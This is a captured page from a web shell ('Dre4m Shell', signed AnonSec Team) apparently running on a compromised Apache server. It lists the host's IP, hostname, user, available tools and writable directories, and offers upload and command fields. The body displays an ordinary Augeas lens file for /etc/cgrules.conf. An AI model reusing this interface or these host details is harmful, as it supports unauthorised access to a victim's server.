Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.12.71.166
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/usr/share/augeas/lenses/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/cwd/usr/share/augeas/lenses/dist/cgrules.aug
(*
Module: cgrules
    Parses /etc/cgrules.conf

Author:
    Raphael Pinson          <raphink@gmail.com>
    Ivana Hutarova Varekova <varekova@redhat.com>

About: Licence
    This file is licensed under the LGPL v2+, like the rest of Augeas.

About: Lens Usage
    Sample usage of this lens in augtool:

About: Configuration files
   This lens applies to /etc/cgconfig.conf. See <filter>.
 *)

module Cgrules =
   autoload xfm

(************************************************************************
 * Group:                 USEFUL PRIMITIVES
 *************************************************************************)

(* Group: Separators *)
(* Variable: ws *)
   let ws = del /[ \t]+/ " "

(* Group: Comments and empty lines *)
(* Variable: eol *)
   let eol     = Util.eol

(* Variable: comment *)
   let comment = Util.comment

(* Variable: empty *)
   let empty   = Util.empty

(* Group: Generic primitive definitions *)
(* Variable: name *)
   let name       = /[^@%# \t\n][^ \t\n]*/
(* Variable: ctrl_key *)
   let ctrl_key   = /[^ \t\n\/]+/
(* Variable: ctrl_value *)
   let ctrl_value = /[^ \t\n]+/

(************************************************************************
 * Group:                 CONTROLLER
 *************************************************************************)

(* Variable: controller *)
let controller =  ws . [ key ctrl_key . ws . store ctrl_value ]

let more_controller = Util.del_str "%" . controller . eol

(************************************************************************
 * Group:                 RECORDS
 *************************************************************************)

let generic_record (lbl:string) (lns:lens) =
                  [ label lbl . lns
                  . controller . eol
                  . more_controller* ]

(* Variable: user_record *)
let user_record = generic_record "user" (store name)

(* Variable: group_record *)
let group_record = generic_record "group" (Util.del_str "@" . store name)

(************************************************************************
 * Group:                        LENS & FILTER
 *************************************************************************)

(* View: lns
     The main lens, any amount of
       * <empty> lines
       * <comment>
       * <user_record>
       * <group_record>
*)
let lns =  (  empty | comment | user_record | group_record )*

let xfm = transform lns (incl "/etc/cgrules.conf")

Anon7 - 2022
AnonSec Team